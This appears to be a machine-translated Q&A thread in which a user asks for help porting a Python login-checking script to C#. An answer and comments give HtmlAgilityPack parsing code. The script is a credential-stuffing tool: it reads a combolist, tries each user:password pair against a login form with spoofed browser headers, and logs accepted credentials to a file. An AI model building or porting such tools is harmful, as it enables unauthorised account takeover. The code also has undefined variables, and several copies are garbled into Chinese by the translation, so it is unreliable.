Python到.NETC的翻译#

Python到.NETC的翻译#,python,beautifulsoup,Python,Beautifulsoup,我需要帮助翻译找到C版本的等效代码 主要是,我不太理解BeautifulSoup和html.parser。 在C#中我会使用哪些库?我要求演示代码示例。谢谢你的帮助 import urllib.parse import time from bs4 import BeautifulSoup def check_acc(user,password): POST = 'POST' GET = 'GET' data = "userLoginId={}&password=

我需要帮助翻译找到C版本的等效代码

主要是,我不太理解BeautifulSoup和html.parser。 在C#中我会使用哪些库?我要求演示代码示例。谢谢你的帮助

import urllib.parse
import time
from bs4 import BeautifulSoup

def check_acc(user,password):
    POST = 'POST'
    GET = 'GET'
    data = "userLoginId={}&password={}&STAYIN=false&flow=websiteSignUp&mode=login&action=loginAction&withFields=STAYIN%2CnextPage%2CuserLoginId%2Cpassword%2CcountryCode%2CcountryIsoCode&authURL=authURL%2FEcpWPKhtag%3D&nextPage=&showPassword=&countryCode=%2B33&countryIsoCode=USA".format(email, password).encode("utf-8")

    request_login = urllib.request.Request("https://www.mywebsitetest:8080/Admin",
    data = data,
    headers ={
    'Host': 'www.mywebsitetest.com',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'fr-FR',
    'Accept-Encoding': 'gzip, deflate, br',
    'Referer': 'https://www.mywebsitetest/USA/Login',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': 330},
    unverifiable = True,
    method = 'POST')

    resfused_msg = "Wrong combination</a>.".format('<a href="/">')
    try:
        response = urllib.request.urlopen(request_login)
        readed = response.read()
        soup = BeautifulSoup(readed, "html.parser")
        IsTrue = str(soup.findAll("div", attrs={"class" : "ui-message-contents"}).text)
        if IsTrue == resfused_msg:
            print("Refused => ({}:{})".format(user, password))
        else:
            print("Accepted => ({}:{})".format(user, password))
            result_file = open(result, "a")
            result_file.write(user + ":" + password)
    except Exception as e:
        print(f"[-] Sorry an error as occured.\n=> {e}\n")
        print("[+]Closing program.\n")
        time.sleep(2)
        exit()

combo = "working.txt"
try:
    combo_file = open(combo, "r")
    line = list(combo)
    print("[+]Combolist loaded.\n")
    for line in combo_file:
        user = line.split(":")[0]
        password = line.split(":")[1]
        check_acc(user,password)
except FileNotFoundError:
    print("[-]NOthing found.")

print("[+]Bye!...\n")
time.sleep(20)
exit()```
import urllib.parse
导入时间
从bs4导入BeautifulSoup
def check_acc(用户、密码):
POST='POST'
GET='GET'
data=“userLoginId={}&password={}&STAYIN=false&flow=websiteSignUp&mode=login&action=loginAction&withFields=STAYIN%2CnextPage%2CuserLoginId%2Cpassword%2CcountryCode%2CcountryCode&authURL=authURL%2FEcpWPKhtag%3D&nextPage=&showPassword=&countryCode=%2B33&countryIsoCode=USA”。格式(电子邮件,密码)。编码(“utf-8”)
request\u login=urllib.request.request(“https://www.mywebsitetest:8080/Admin",
数据=数据,
标题={
“主机”:“www.mywebsitetest.com”,
“用户代理”:“Mozilla/5.0(Windows NT 10.0;Win64;x64;rv:66.0)Gecko/20100101 Firefox/66.0”,
“接受”:“text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”,
“接受语言”:“fr”,
“接受编码”:“gzip,deflate,br”,
“Referer”:https://www.mywebsitetest/USA/Login',
“内容类型”:“应用程序/x-www-form-urlencoded”,
“内容长度”:330},
无法验证=正确,
方法='POST')
resfused_msg=“组合错误。”。格式(“”)
尝试:
response=urllib.request.urlopen(请求\登录)
readed=response.read()
soup=BeautifulSoup(读作“html.parser”)
IsTrue=str(soup.findAll(“div”,attrs={“class”:“ui消息内容”}).text)
如果IsTrue==resfused\u msg:
打印(“拒绝=>({}:{})”。格式(用户,密码))
其他:
打印(“已接受=>({}:{})”。格式(用户,密码))
结果文件=打开(结果“a”)
结果_file.write(用户+“:”+密码)
例外情况除外,如e:
打印(f“[-]很抱歉出现错误。\n=>{e}\n”)
打印(“[+]关闭程序。\n”)
时间。睡眠(2)
退出()
combo=“working.txt”
尝试:
组合文件=打开(组合“r”)
行=列表(组合)
打印(“[+]组合列表已加载。\n”)
对于组合_文件中的行:
user=line.split(“:”[0]
密码=行。拆分(“:”[1]
检查_acc(用户、密码)
除FileNotFoundError外:
打印(“[-]未找到任何内容。”)
打印(“[+]再见!…\n”)
时间。睡眠(20)
退出()```
是C#中最常用的HTML解析包之一。它可以通过直接下载或从NuGet软件包提要获得。文件是。您还应该获得nuget包,以允许您使用CSS选择器从DOM中提取元素

要使用
ui消息内容
类获取div,您将执行以下操作:

// You will need to pass in/configure the headers and other fields for your request before you call GetResponse
HttpWebRequest request= (HttpWebRequest)WebRequest.Create(url);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();

HtmlDocument document = new HtmlAgilityPack.HtmlDocument();

document.Load(response.GetResponseStream());
IList<HtmlNode> elements = document.QuerySelectorAll("div.ui-message-contents");

// or if you're only expecting a single result
HtmlNode element = document.QuerySelector("div.ui-message-contents");
//在调用GetResponse之前,需要传入/配置请求的标题和其他字段
HttpWebRequest请求=(HttpWebRequest)WebRequest.Create(url);
HttpWebResponse=(HttpWebResponse)request.GetResponse();
HtmlDocument document=新的HtmlAgilityPack.HtmlDocument();
Load(response.GetResponseStream());
IList元素=document.QuerySelectorAll(“div.ui-message-contents”);
//或者如果你只期望一个结果
HtmlNode元素=document.QuerySelector(“div.ui-message-contents”);

谢谢,我会尝试一下。这是我得到的错误“HtmlDocument”不包含“QuerySelector”的定义,并且找不到接受“HtmlDocument”类型的第一个参数的可访问扩展方法“QuerySelector”(是否缺少using指令或程序集引用?)所有的代码都是主函数@MattStannetChange
IList元素=document.QuerySelector(“类”、“ui消息内容”)
到这个
HtmlNode元素=document.QuerySelector(“.ui消息内容”)。由于您只希望单个元素具有您使用的类
QuerySelector
(返回single
HtmlNode
,而不是
QuerySelectorAll
(返回集合(
IList
)。您得到的确切错误是因为您向
QuerySelector
调用传递了两个参数。该调用只接受一个参数,即在本例中表示cssSelector“.ui消息内容”的字符串。有关CSS选择器的更多信息,请参阅和。谢谢,我已执行了
document.DocumentNode.QuerySelector(“.ui消息内容”);
也适用:)